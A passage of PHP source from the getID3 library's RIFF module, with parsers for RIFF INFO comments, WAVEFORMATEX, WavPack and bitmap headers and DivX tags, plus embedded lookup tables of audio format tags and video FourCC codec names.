			$NewLengthString = getid3_lib::LittleEndian2String($RIFFdataLength, 4);
			for ($i = 0; $i < 4; $i++) {
				$RIFFdata[($i + 4)] = $NewLengthString[$i];
			}
			fwrite($fp_temp, $RIFFdata);
			fclose($fp_temp);

			$getid3_temp = new getID3();
			$getid3_temp->openfile($tempfile);
			$getid3_temp->info['filesize']     = $RIFFdataLength;
			$getid3_temp->info['filenamepath'] = $info['filenamepath'];
			$getid3_temp->info['tags']         = $info['tags'];
			$getid3_temp->info['warning']      = $info['warning'];
			$getid3_temp->info['error']        = $info['error'];
			$getid3_temp->info['comments']     = $info['comments'];
			$getid3_temp->info['audio']        = (isset($info['audio']) ? $info['audio'] : array());
			$getid3_temp->info['video']        = (isset($info['video']) ? $info['video'] : array());
			$getid3_riff = new getid3_riff($getid3_temp);
			$getid3_riff->Analyze();

			$info['riff']     = $getid3_temp->info['riff'];
			$info['warning']  = $getid3_temp->info['warning'];
			$info['error']    = $getid3_temp->info['error'];
			$info['tags']     = $getid3_temp->info['tags'];
			$info['comments'] = $getid3_temp->info['comments'];
			unset($getid3_riff, $getid3_temp);
			unlink($tempfile);
		}
		return false;
	}

	/**
	 * @param array $RIFFinfoArray
	 * @param array $CommentsTargetArray
	 *
	 * @return bool
	 */
	public static function parseComments(&$RIFFinfoArray, &$CommentsTargetArray) {
		$RIFFinfoKeyLookup = array(
			'IARL'=>'archivallocation',
			'IART'=>'artist',
			'ICDS'=>'costumedesigner',
			'ICMS'=>'commissionedby',
			'ICMT'=>'comment',
			'ICNT'=>'country',
			'ICOP'=>'copyright',
			'ICRD'=>'creationdate',
			'IDIM'=>'dimensions',
			'IDIT'=>'digitizationdate',
			'IDPI'=>'resolution',
			'IDST'=>'distributor',
			'IEDT'=>'editor',
			'IENG'=>'engineers',
			'IFRM'=>'accountofparts',
			'IGNR'=>'genre',
			'IKEY'=>'keywords',
			'ILGT'=>'lightness',
			'ILNG'=>'language',
			'IMED'=>'orignalmedium',
			'IMUS'=>'composer',
			'INAM'=>'title',
			'IPDS'=>'productiondesigner',
			'IPLT'=>'palette',
			'IPRD'=>'product',
			'IPRO'=>'producer',
			'IPRT'=>'part',
			'IRTD'=>'rating',
			'ISBJ'=>'subject',
			'ISFT'=>'software',
			'ISGN'=>'secondarygenre',
			'ISHP'=>'sharpness',
			'ISRC'=>'sourcesupplier',
			'ISRF'=>'digitizationsource',
			'ISTD'=>'productionstudio',
			'ISTR'=>'starring',
			'ITCH'=>'encoded_by',
			'IWEB'=>'url',
			'IWRI'=>'writer',
			'____'=>'comment',
		);
		foreach ($RIFFinfoKeyLookup as $key => $value) {
			if (isset($RIFFinfoArray[$key])) {
				foreach ($RIFFinfoArray[$key] as $commentid => $commentdata) {
					if (!empty($commentdata['data']) && trim($commentdata['data']) != '') {
						if (isset($CommentsTargetArray[$value])) {
							$CommentsTargetArray[$value][] =     trim($commentdata['data']);
						} else {
							$CommentsTargetArray[$value] = array(trim($commentdata['data']));
						}
					}
				}
			}
		}
		return true;
	}

	/**
	 * @param string $WaveFormatExData
	 *
	 * @return array
	 */
	public static function parseWAVEFORMATex($WaveFormatExData) {
		// shortcut
		$WaveFormatEx        = array();
		$WaveFormatEx['raw'] = array();
		$WaveFormatEx_raw    = &$WaveFormatEx['raw'];

		$WaveFormatEx_raw['wFormatTag']      = substr($WaveFormatExData,  0, 2);
		$WaveFormatEx_raw['nChannels']       = substr($WaveFormatExData,  2, 2);
		$WaveFormatEx_raw['nSamplesPerSec']  = substr($WaveFormatExData,  4, 4);
		$WaveFormatEx_raw['nAvgBytesPerSec'] = substr($WaveFormatExData,  8, 4);
		$WaveFormatEx_raw['nBlockAlign']     = substr($WaveFormatExData, 12, 2);
		$WaveFormatEx_raw['wBitsPerSample']  = substr($WaveFormatExData, 14, 2);
		if (strlen($WaveFormatExData) > 16) {
			$WaveFormatEx_raw['cbSize']      = substr($WaveFormatExData, 16, 2);
		}
		$WaveFormatEx_raw = array_map('getid3_lib::LittleEndian2Int', $WaveFormatEx_raw);

		$WaveFormatEx['codec']           = self::wFormatTagLookup($WaveFormatEx_raw['wFormatTag']);
		$WaveFormatEx['channels']        = $WaveFormatEx_raw['nChannels'];
		$WaveFormatEx['sample_rate']     = $WaveFormatEx_raw['nSamplesPerSec'];
		$WaveFormatEx['bitrate']         = $WaveFormatEx_raw['nAvgBytesPerSec'] * 8;
		$WaveFormatEx['bits_per_sample'] = $WaveFormatEx_raw['wBitsPerSample'];

		return $WaveFormatEx;
	}

	/**
	 * @param string $WavPackChunkData
	 *
	 * @return bool
	 */
	public function parseWavPackHeader($WavPackChunkData) {
		// typedef struct {
		//     char ckID [4];
		//     long ckSize;
		//     short version;
		//     short bits;                // added for version 2.00
		//     short flags, shift;        // added for version 3.00
		//     long total_samples, crc, crc2;
		//     char extension [4], extra_bc, extras [3];
		// } WavpackHeader;

		// shortcut
		$info = &$this->getid3->info;
		$info['wavpack']  = array();
		$thisfile_wavpack = &$info['wavpack'];

		$thisfile_wavpack['version']           = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  0, 2));
		if ($thisfile_wavpack['version'] >= 2) {
			$thisfile_wavpack['bits']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  2, 2));
		}
		if ($thisfile_wavpack['version'] >= 3) {
			$thisfile_wavpack['flags_raw']     = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  4, 2));
			$thisfile_wavpack['shift']         = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  6, 2));
			$thisfile_wavpack['total_samples'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  8, 4));
			$thisfile_wavpack['crc1']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 12, 4));
			$thisfile_wavpack['crc2']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 16, 4));
			$thisfile_wavpack['extension']     =                              substr($WavPackChunkData, 20, 4);
			$thisfile_wavpack['extra_bc']      = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 24, 1));
			for ($i = 0; $i <= 2; $i++) {
				$thisfile_wavpack['extras'][]  = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 25 + $i, 1));
			}

			// shortcut
			$thisfile_wavpack['flags'] = array();
			$thisfile_wavpack_flags = &$thisfile_wavpack['flags'];

			$thisfile_wavpack_flags['mono']                 = (bool) ($thisfile_wavpack['flags_raw'] & 0x000001);
			$thisfile_wavpack_flags['fast_mode']            = (bool) ($thisfile_wavpack['flags_raw'] & 0x000002);
			$thisfile_wavpack_flags['raw_mode']             = (bool) ($thisfile_wavpack['flags_raw'] & 0x000004);
			$thisfile_wavpack_flags['calc_noise']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x000008);
			$thisfile_wavpack_flags['high_quality']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000010);
			$thisfile_wavpack_flags['3_byte_samples']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000020);
			$thisfile_wavpack_flags['over_20_bits']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000040);
			$thisfile_wavpack_flags['use_wvc']              = (bool) ($thisfile_wavpack['flags_raw'] & 0x000080);
			$thisfile_wavpack_flags['noiseshaping']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000100);
			$thisfile_wavpack_flags['very_fast_mode']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000200);
			$thisfile_wavpack_flags['new_high_quality']     = (bool) ($thisfile_wavpack['flags_raw'] & 0x000400);
			$thisfile_wavpack_flags['cancel_extreme']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000800);
			$thisfile_wavpack_flags['cross_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x001000);
			$thisfile_wavpack_flags['new_decorrelation']    = (bool) ($thisfile_wavpack['flags_raw'] & 0x002000);
			$thisfile_wavpack_flags['joint_stereo']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x004000);
			$thisfile_wavpack_flags['extra_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x008000);
			$thisfile_wavpack_flags['override_noiseshape']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x010000);
			$thisfile_wavpack_flags['override_jointstereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x020000);
			$thisfile_wavpack_flags['copy_source_filetime'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x040000);
			$thisfile_wavpack_flags['create_exe']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x080000);
		}

		return true;
	}

	/**
	 * @param string $BITMAPINFOHEADER
	 * @param bool   $littleEndian
	 *
	 * @return array
	 */
	public static function ParseBITMAPINFOHEADER($BITMAPINFOHEADER, $littleEndian=true) {

		$parsed                    = array();
		$parsed['biSize']          = substr($BITMAPINFOHEADER,  0, 4); // number of bytes required by the BITMAPINFOHEADER structure
		$parsed['biWidth']         = substr($BITMAPINFOHEADER,  4, 4); // width of the bitmap in pixels
		$parsed['biHeight']        = substr($BITMAPINFOHEADER,  8, 4); // height of the bitmap in pixels. If biHeight is positive, the bitmap is a 'bottom-up' DIB and its origin is the lower left corner. If biHeight is negative, the bitmap is a 'top-down' DIB and its origin is the upper left corner
		$parsed['biPlanes']        = substr($BITMAPINFOHEADER, 12, 2); // number of color planes on the target device. In most cases this value must be set to 1
		$parsed['biBitCount']      = substr($BITMAPINFOHEADER, 14, 2); // Specifies the number of bits per pixels
		$parsed['biSizeImage']     = substr($BITMAPINFOHEADER, 20, 4); // size of the bitmap data section of the image (the actual pixel data, excluding BITMAPINFOHEADER and RGBQUAD structures)
		$parsed['biXPelsPerMeter'] = substr($BITMAPINFOHEADER, 24, 4); // horizontal resolution, in pixels per metre, of the target device
		$parsed['biYPelsPerMeter'] = substr($BITMAPINFOHEADER, 28, 4); // vertical resolution, in pixels per metre, of the target device
		$parsed['biClrUsed']       = substr($BITMAPINFOHEADER, 32, 4); // actual number of color indices in the color table used by the bitmap. If this value is zero, the bitmap uses the maximum number of colors corresponding to the value of the biBitCount member for the compression mode specified by biCompression
		$parsed['biClrImportant']  = substr($BITMAPINFOHEADER, 36, 4); // number of color indices that are considered important for displaying the bitmap. If this value is zero, all colors are important
		$parsed = array_map('getid3_lib::'.($littleEndian ? 'Little' : 'Big').'Endian2Int', $parsed);

		$parsed['fourcc']          = substr($BITMAPINFOHEADER, 16, 4);  // compression identifier

		return $parsed;
	}

	/**
	 * @param string $DIVXTAG
	 * @param bool   $raw
	 *
	 * @return array
	 */
	public static function ParseDIVXTAG($DIVXTAG, $raw=false) {
		// structure from "IDivX" source, Form1.frm, by "Greg Frazier of Daemonic Software Group", email: gfrazier@icestorm.net, web: http://dsg.cjb.net/
		// source available at http://files.divx-digest.com/download/c663efe7ef8ad2e90bf4af4d3ea6188a/on0SWN2r/edit/IDivX.zip
		// 'Byte Layout:                   '1111111111111111
		// '32 for Movie - 1               '1111111111111111
		// '28 for Author - 6              '6666666666666666
		// '4  for year - 2                '6666666666662222
		// '3  for genre - 3               '7777777777777777
		// '48 for Comments - 7            '7777777777777777
		// '1  for Rating - 4              '7777777777777777
		// '5  for Future Additions - 0    '333400000DIVXTAG
		// '128 bytes total

		static $DIVXTAGgenre  = array(
			 0 => 'Action',
			 1 => 'Action/Adventure',
			 2 => 'Adventure',
			 3 => 'Adult',
			 4 => 'Anime',
			 5 => 'Cartoon',
			 6 => 'Claymation',
			 7 => 'Comedy',
			 8 => 'Commercial',
			 9 => 'Documentary',
			10 => 'Drama',
			11 => 'Home Video',
			12 => 'Horror',
			13 => 'Infomercial',
			14 => 'Interactive',
			15 => 'Mystery',
			16 => 'Music Video',
			17 => 'Other',
			18 => 'Religion',
			19 => 'Sci Fi',
			20 => 'Thriller',
			21 => 'Western',
		),
		$DIVXTAGrating = array(
			 0 => 'Unrated',
			 1 => 'G',
			 2 => 'PG',
			 3 => 'PG-13',
			 4 => 'R',
			 5 => 'NC-17',
		);

		$parsed              = array();
		$parsed['title']     =        trim(substr($DIVXTAG,   0, 32));
		$parsed['artist']    =        trim(substr($DIVXTAG,  32, 28));
		$parsed['year']      = intval(trim(substr($DIVXTAG,  60,  4)));
		$parsed['comment']   =        trim(substr($DIVXTAG,  64, 48));
		$parsed['genre_id']  = intval(trim(substr($DIVXTAG, 112,  3)));
		$parsed['rating_id'] =         ord(substr($DIVXTAG, 115,  1));
		//$parsed['padding'] =             substr($DIVXTAG, 116,  5);  // 5-byte null
		//$parsed['magic']   =             substr($DIVXTAG, 121,  7);  // "DIVXTAG"

		$parsed['genre']  = (isset($DIVXTAGgenre[$parsed['genre_id']])   ? $DIVXTAGgenre[$parsed['genre_id']]   : $parsed['genre_id']);
		$parsed['rating'] = (isset($DIVXTAGrating[$parsed['rating_id']]) ? $DIVXTAGrating[$parsed['rating_id']] : $parsed['rating_id']);

		if (!$raw) {
			unset($parsed['genre_id'], $parsed['rating_id']);
			foreach ($parsed as $key => $value) {
				if (empty($value)) {
					unset($parsed[$key]);
				}
			}
		}

		foreach ($parsed as $tag => $value) {
			$parsed[$tag] = array($value);
		}

		return $parsed;
	}

	/**
	 * @param string $tagshortname
	 *
	 * @return string
	 */
	public static function waveSNDMtagLookup($tagshortname) {
		$begin = __LINE__;

		/** This is not a comment!

			©kwd	keywords
			©BPM	bpm
			©trt	tracktitle
			©des	description
			©gen	category
			©fin	featuredinstrument
			©LID	longid
			©bex	bwdescription
			©pub	publisher
			©cdt	cdtitle
			©alb	library
			©com	composer

		*/

		return getid3_lib::EmbeddedLookup($tagshortname, $begin, __LINE__, __FILE__, 'riff-sndm');
	}

	/**
	 * @param int $wFormatTag
	 *
	 * @return string
	 */
	public static function wFormatTagLookup($wFormatTag) {

		$begin = __LINE__;

		/** This is not a comment!

			0x0000	Microsoft Unknown Wave Format
			0x0001	Pulse Code Modulation (PCM)
			0x0002	Microsoft ADPCM
			0x0003	IEEE Float
			0x0004	Compaq Computer VSELP
			0x0005	IBM CVSD
			0x0006	Microsoft A-Law
			0x0007	Microsoft mu-Law
			0x0008	Microsoft DTS
			0x0010	OKI ADPCM
			0x0011	Intel DVI/IMA ADPCM
			0x0012	Videologic MediaSpace ADPCM
			0x0013	Sierra Semiconductor ADPCM
			0x0014	Antex Electronics G.723 ADPCM
			0x0015	DSP Solutions DigiSTD
			0x0016	DSP Solutions DigiFIX
			0x0017	Dialogic OKI ADPCM
			0x0018	MediaVision ADPCM
			0x0019	Hewlett-Packard CU
			0x0020	Yamaha ADPCM
			0x0021	Speech Compression Sonarc
			0x0022	DSP Group TrueSpeech
			0x0023	Echo Speech EchoSC1
			0x0024	Audiofile AF36
			0x0025	Audio Processing Technology APTX
			0x0026	AudioFile AF10
			0x0027	Prosody 1612
			0x0028	LRC
			0x0030	Dolby AC2
			0x0031	Microsoft GSM 6.10
			0x0032	MSNAudio
			0x0033	Antex Electronics ADPCME
			0x0034	Control Resources VQLPC
			0x0035	DSP Solutions DigiREAL
			0x0036	DSP Solutions DigiADPCM
			0x0037	Control Resources CR10
			0x0038	Natural MicroSystems VBXADPCM
			0x0039	Crystal Semiconductor IMA ADPCM
			0x003A	EchoSC3
			0x003B	Rockwell ADPCM
			0x003C	Rockwell Digit LK
			0x003D	Xebec
			0x0040	Antex Electronics G.721 ADPCM
			0x0041	G.728 CELP
			0x0042	MSG723
			0x0050	MPEG Layer-2 or Layer-1
			0x0052	RT24
			0x0053	PAC
			0x0055	MPEG Layer-3
			0x0059	Lucent G.723
			0x0060	Cirrus
			0x0061	ESPCM
			0x0062	Voxware
			0x0063	Canopus Atrac
			0x0064	G.726 ADPCM
			0x0065	G.722 ADPCM
			0x0066	DSAT
			0x0067	DSAT Display
			0x0069	Voxware Byte Aligned
			0x0070	Voxware AC8
			0x0071	Voxware AC10
			0x0072	Voxware AC16
			0x0073	Voxware AC20
			0x0074	Voxware MetaVoice
			0x0075	Voxware MetaSound
			0x0076	Voxware RT29HW
			0x0077	Voxware VR12
			0x0078	Voxware VR18
			0x0079	Voxware TQ40
			0x0080	Softsound
			0x0081	Voxware TQ60
			0x0082	MSRT24
			0x0083	G.729A
			0x0084	MVI MV12
			0x0085	DF G.726
			0x0086	DF GSM610
			0x0088	ISIAudio
			0x0089	Onlive
			0x0091	SBC24
			0x0092	Dolby AC3 SPDIF
			0x0093	MediaSonic G.723
			0x0094	Aculab PLC    Prosody 8kbps
			0x0097	ZyXEL ADPCM
			0x0098	Philips LPCBB
			0x0099	Packed
			0x00FF	AAC
			0x0100	Rhetorex ADPCM
			0x0101	IBM mu-law
			0x0102	IBM A-law
			0x0103	IBM AVC Adaptive Differential Pulse Code Modulation (ADPCM)
			0x0111	Vivo G.723
			0x0112	Vivo Siren
			0x0123	Digital G.723
			0x0125	Sanyo LD ADPCM
			0x0130	Sipro Lab Telecom ACELP NET
			0x0131	Sipro Lab Telecom ACELP 4800
			0x0132	Sipro Lab Telecom ACELP 8V3
			0x0133	Sipro Lab Telecom G.729
			0x0134	Sipro Lab Telecom G.729A
			0x0135	Sipro Lab Telecom Kelvin
			0x0140	Windows Media Video V8
			0x0150	Qualcomm PureVoice
			0x0151	Qualcomm HalfRate
			0x0155	Ring Zero Systems TUB GSM
			0x0160	Microsoft Audio 1
			0x0161	Windows Media Audio V7 / V8 / V9
			0x0162	Windows Media Audio Professional V9
			0x0163	Windows Media Audio Lossless V9
			0x0200	Creative Labs ADPCM
			0x0202	Creative Labs Fastspeech8
			0x0203	Creative Labs Fastspeech10
			0x0210	UHER Informatic GmbH ADPCM
			0x0220	Quarterdeck
			0x0230	I-link Worldwide VC
			0x0240	Aureal RAW Sport
			0x0250	Interactive Products HSX
			0x0251	Interactive Products RPELP
			0x0260	Consistent Software CS2
			0x0270	Sony SCX
			0x0300	Fujitsu FM Towns Snd
			0x0400	BTV Digital
			0x0401	Intel Music Coder
			0x0450	QDesign Music
			0x0680	VME VMPCM
			0x0681	AT&T Labs TPC
			0x08AE	ClearJump LiteWave
			0x1000	Olivetti GSM
			0x1001	Olivetti ADPCM
			0x1002	Olivetti CELP
			0x1003	Olivetti SBC
			0x1004	Olivetti OPR
			0x1100	Lernout & Hauspie Codec (0x1100)
			0x1101	Lernout & Hauspie CELP Codec (0x1101)
			0x1102	Lernout & Hauspie SBC Codec (0x1102)
			0x1103	Lernout & Hauspie SBC Codec (0x1103)
			0x1104	Lernout & Hauspie SBC Codec (0x1104)
			0x1400	Norris
			0x1401	AT&T ISIAudio
			0x1500	Soundspace Music Compression
			0x181C	VoxWare RT24 Speech
			0x1FC4	NCT Soft ALF2CD (www.nctsoft.com)
			0x2000	Dolby AC3
			0x2001	Dolby DTS
			0x2002	WAVE_FORMAT_14_4
			0x2003	WAVE_FORMAT_28_8
			0x2004	WAVE_FORMAT_COOK
			0x2005	WAVE_FORMAT_DNET
			0x674F	Ogg Vorbis 1
			0x6750	Ogg Vorbis 2
			0x6751	Ogg Vorbis 3
			0x676F	Ogg Vorbis 1+
			0x6770	Ogg Vorbis 2+
			0x6771	Ogg Vorbis 3+
			0x7A21	GSM-AMR (CBR, no SID)
			0x7A22	GSM-AMR (VBR, including SID)
			0xFFFE	WAVE_FORMAT_EXTENSIBLE
			0xFFFF	WAVE_FORMAT_DEVELOPMENT

		*/

		return getid3_lib::EmbeddedLookup('0x'.str_pad(strtoupper(dechex($wFormatTag)), 4, '0', STR_PAD_LEFT), $begin, __LINE__, __FILE__, 'riff-wFormatTag');
	}

	/**
	 * @param string $fourcc
	 *
	 * @return string
	 */
	public static function fourccLookup($fourcc) {

		$begin = __LINE__;

		/** This is not a comment!

			swot	http://developer.apple.com/qa/snd/snd07.html
			____	No Codec (____)
			_BIT	BI_BITFIELDS (Raw RGB)
			_JPG	JPEG compressed
			_PNG	PNG compressed W3C/ISO/IEC (RFC-2083)
			_RAW	Full Frames (Uncompressed)
			_RGB	Raw RGB Bitmap
			_RL4	RLE 4bpp RGB
			_RL8	RLE 8bpp RGB
			3IV1	3ivx MPEG-4 v1
			3IV2	3ivx MPEG-4 v2
			3IVX	3ivx MPEG-4
			AASC	Autodesk Animator
			ABYR	Kensington ?ABYR?
			AEMI	Array Microsystems VideoONE MPEG1-I Capture
			AFLC	Autodesk Animator FLC
			AFLI	Autodesk Animator FLI
			AMPG	Array Microsystems VideoONE MPEG
			ANIM	Intel RDX (ANIM)
			AP41	AngelPotion Definitive
			ASV1	Asus Video v1
			ASV2	Asus Video v2
			ASVX	Asus Video 2.0 (audio)
			AUR2	AuraVision Aura 2 Codec - YUV 4:2:2
			AURA	AuraVision Aura 1 Codec - YUV 4:1:1
			AVDJ	Independent JPEG Group\'s codec (AVDJ)
			AVRN	Independent JPEG Group\'s codec (AVRN)
			AYUV	4:4:4 YUV (AYUV)
			AZPR	Quicktime Apple Video (AZPR)
			BGR 	Raw RGB32
			BLZ0	Blizzard DivX MPEG-4
			BTVC	Conexant Composite Video
			BINK	RAD Game Tools Bink Video
			BT20	Conexant Prosumer Video
			BTCV	Conexant Composite Video Codec
			BW10	Data Translation Broadway MPEG Capture
			CC12	Intel YUV12
			CDVC	Canopus DV
			CFCC	Digital Processing Systems DPS Perception
			CGDI	Microsoft Office 97 Camcorder Video
			CHAM	Winnov Caviara Champagne
			CJPG	Creative WebCam JPEG
			CLJR	Cirrus Logic YUV 4:1:1
			CMYK	Common Data Format in Printing (Colorgraph)
			CPLA	Weitek 4:2:0 YUV Planar
			CRAM	Microsoft Video 1 (CRAM)
			cvid	Radius Cinepak
			CVID	Radius Cinepak
			CWLT	Microsoft Color WLT DIB
			CYUV	Creative Labs YUV
			CYUY	ATI YUV
			D261	H.261
			D263	H.263
			DIB 	Device Independent Bitmap
			DIV1	FFmpeg OpenDivX
			DIV2	Microsoft MPEG-4 v1/v2
			DIV3	DivX ;-) MPEG-4 v3.x Low-Motion
			DIV4	DivX ;-) MPEG-4 v3.x Fast-Motion
			DIV5	DivX MPEG-4 v5.x
			DIV6	DivX ;-) (MS MPEG-4 v3.x)
			DIVX	DivX MPEG-4 v4 (OpenDivX / Project Mayo)
			divx	DivX MPEG-4
			DMB1	Matrox Rainbow Runner hardware MJPEG
			DMB2	Paradigm MJPEG
			DSVD	?DSVD?
			DUCK	Duck TrueMotion 1.0
			DPS0	DPS/Leitch Reality Motion JPEG
			DPSC	DPS/Leitch PAR Motion JPEG
			DV25	Matrox DVCPRO codec
			DV50	Matrox DVCPRO50 codec
			DVC 	IEC 61834 and SMPTE 314M (DVC/DV Video)
			DVCP	IEC 61834 and SMPTE 314M (DVC/DV Video)
			DVHD	IEC Standard DV 1125 lines @ 30fps / 1250 lines @ 25fps
			DVMA	Darim Vision DVMPEG (dummy for MPEG compressor) (www.darvision.com)
			DVSL	IEC Standard DV compressed in SD (SDL)
			DVAN	?DVAN?
			DVE2	InSoft DVE-2 Videoconferencing
			dvsd	IEC 61834 and SMPTE 314M DVC/DV Video
			DVSD	IEC 61834 and SMPTE 314M DVC/DV Video
			DVX1	Lucent DVX1000SP Video Decoder
			DVX2	Lucent DVX2000S Video Decoder
			DVX3	Lucent DVX3000S Video Decoder
			DX50	DivX v5
			DXT1	Microsoft DirectX Compressed Texture (DXT1)
			DXT2	Microsoft DirectX Compressed Texture (DXT2)
			DXT3	Microsoft DirectX Compressed Texture (DXT3)
			DXT4	Microsoft DirectX Compressed Texture (DXT4)
			DXT5	Microsoft DirectX Compressed Texture (DXT5)
			DXTC	Microsoft DirectX Compressed Texture (DXTC)
			DXTn	Microsoft DirectX Compressed Texture (DXTn)
			EM2V	Etymonix MPEG-2 I-frame (www.etymonix.com)
			EKQ0	Elsa ?EKQ0?
			ELK0	Elsa ?ELK0?
			ESCP	Eidos Escape
			ETV1	eTreppid Video ETV1
			ETV2	eTreppid Video ETV2
			ETVC	eTreppid Video ETVC
			FLIC	Autodesk FLI/FLC Animation
			FLV1	Sorenson Spark
			FLV4	On2 TrueMotion VP6
			FRWT	Darim Vision Forward Motion JPEG (www.darvision.com)
			FRWU	Darim Vision Forward Uncompressed (www.darvision.com)
			FLJP	D-Vision Field Encoded Motion JPEG
			FPS1	FRAPS v1
			FRWA	SoftLab-Nsk Forward Motion JPEG w/ alpha channel
			FRWD	SoftLab-Nsk Forward Motion JPEG
			FVF1	Iterated Systems Fractal Video Frame
			GLZW	Motion LZW (gabest@freemail.hu)
			GPEG	Motion JPEG (gabest@freemail.hu)
			GWLT	Microsoft Greyscale WLT DIB
			H260	Intel ITU H.260 Videoconferencing
			H261	Intel ITU H.261 Videoconferencing
			H262	Intel ITU H.262 Videoconferencing
			H263	Intel ITU H.263 Videoconferencing
			H264	Intel ITU H.264 Videoconferencing
			H265	Intel ITU H.265 Videoconferencing
			H266	Intel ITU H.266 Videoconferencing
			H267	Intel ITU H.267 Videoconferencing
			H268	Intel ITU H.268 Videoconferencing
			H269	Intel ITU H.269 Videoconferencing
			HFYU	Huffman Lossless Codec
			HMCR	Rendition Motion Compensation Format (HMCR)
			HMRR	Rendition Motion Compensation Format (HMRR)
			I263	FFmpeg I263 decoder
			IF09	Indeo YVU9 ("YVU9 with additional delta-frame info after the U plane")
			IUYV	Interlaced version of UYVY (www.leadtools.com)
			IY41	Interlaced version of Y41P (www.leadtools.com)
			IYU1	12 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
			IYU2	24 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
			IYUV	Planar YUV format (8-bpp Y plane, followed by 8-bpp 2×2 U and V planes)
			i263	Intel ITU H.263 Videoconferencing (i263)
			I420	Intel Indeo 4
			IAN 	Intel Indeo 4 (RDX)
			ICLB	InSoft CellB Videoconferencing
			IGOR	Power DVD
			IJPG	Intergraph JPEG
			ILVC	Intel Layered Video
			ILVR	ITU-T H.263+
			IPDV	I-O Data Device Giga AVI DV Codec
			IR21	Intel Indeo 2.1
			IRAW	Intel YUV Uncompressed
			IV30	Intel Indeo 3.0
			IV31	Intel Indeo 3.1
			IV32	Ligos Indeo 3.2
			IV33	Ligos Indeo 3.3
			IV34	Ligos Indeo 3.4
			IV35	Ligos Indeo 3.5
			IV36	Ligos Indeo 3.6
			IV37	Ligos Indeo 3.7
			IV38	Ligos Indeo 3.8
			IV39	Ligos Indeo 3.9
			IV40	Ligos Indeo Interactive 4.0
			IV41	Ligos Indeo Interactive 4.1
			IV42	Ligos Indeo Interactive 4.2
			IV43	Ligos Indeo Interactive 4.3
			IV44	Ligos Indeo Interactive 4.4
			IV45	Ligos Indeo Interactive 4.5
			IV46	Ligos Indeo Interactive 4.6
			IV47	Ligos Indeo Interactive 4.7
			IV48	Ligos Indeo Interactive 4.8
			IV49	Ligos Indeo Interactive 4.9
			IV50	Ligos Indeo Interactive 5.0
			JBYR	Kensington ?JBYR?
			JPEG	Still Image JPEG DIB
			JPGL	Pegasus Lossless Motion JPEG
			KMVC	Team17 Software Karl Morton\'s Video Codec
			LSVM	Vianet Lighting Strike Vmail (Streaming) (www.vianet.com)
			LEAD	LEAD Video Codec
			Ljpg	LEAD MJPEG Codec
			MDVD	Alex MicroDVD Video (hacked MS MPEG-4) (www.tiasoft.de)
			MJPA	Morgan Motion JPEG (MJPA) (www.morgan-multimedia.com)
			MJPB	Morgan Motion JPEG (MJPB) (www.morgan-multimedia.com)
			MMES	Matrox MPEG-2 I-frame
			MP2v	Microsoft S-Mpeg 4 version 1 (MP2v)
			MP42	Microsoft S-Mpeg 4 version 2 (MP42)
			MP43	Microsoft S-Mpeg 4 version 3 (MP43)
			MP4S	Microsoft S-Mpeg 4 version 3 (MP4S)
			MP4V	FFmpeg MPEG-4
			MPG1	FFmpeg MPEG 1/2
			MPG2	FFmpeg MPEG 1/2
			MPG3	FFmpeg DivX ;-) (MS MPEG-4 v3)
			MPG4	Microsoft MPEG-4
			MPGI	Sigma Designs MPEG
			MPNG	PNG images decoder
			MSS1	Microsoft Windows Screen Video
			MSZH	LCL (Lossless Codec Library) (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
			M261	Microsoft H.261
			M263	Microsoft H.263
			M4S2	Microsoft Fully Compliant MPEG-4 v2 simple profile (M4S2)
			m4s2	Microsoft Fully Compliant MPEG-4 v2 simple profile (m4s2)
			MC12	ATI Motion Compensation Format (MC12)
			MCAM	ATI Motion Compensation Format (MCAM)
			MJ2C	Morgan Multimedia Motion JPEG2000
			mJPG	IBM Motion JPEG w/ Huffman Tables
			MJPG	Microsoft Motion JPEG DIB
			MP42	Microsoft MPEG-4 (low-motion)
			MP43	Microsoft MPEG-4 (fast-motion)
			MP4S	Microsoft MPEG-4 (MP4S)
			mp4s	Microsoft MPEG-4 (mp4s)
			MPEG	Chromatic Research MPEG-1 Video I-Frame
			MPG4	Microsoft MPEG-4 Video High Speed Compressor
			MPGI	Sigma Designs MPEG
			MRCA	FAST Multimedia Martin Regen Codec
			MRLE	Microsoft Run Length Encoding
			MSVC	Microsoft Video 1
			MTX1	Matrox ?MTX1?
			MTX2	Matrox ?MTX2?
			MTX3	Matrox ?MTX3?
			MTX4	Matrox ?MTX4?
			MTX5	Matrox ?MTX5?
			MTX6	Matrox ?MTX6?
			MTX7	Matrox ?MTX7?
			MTX8	Matrox ?MTX8?
			MTX9	Matrox ?MTX9?
			MV12	Motion Pixels Codec (old)
			MWV1	Aware Motion Wavelets
			nAVI	SMR Codec (hack of Microsoft MPEG-4) (IRC #shadowrealm)
			NT00	NewTek LightWave HDTV YUV w/ Alpha (www.newtek.com)
			NUV1	NuppelVideo
			NTN1	Nogatech Video Compression 1
			NVS0	nVidia GeForce Texture (NVS0)
			NVS1	nVidia GeForce Texture (NVS1)
			NVS2	nVidia GeForce Texture (NVS2)
			NVS3	nVidia GeForce Texture (NVS3)
			NVS4	nVidia GeForce Texture (NVS4)
			NVS5	nVidia GeForce Texture (NVS5)
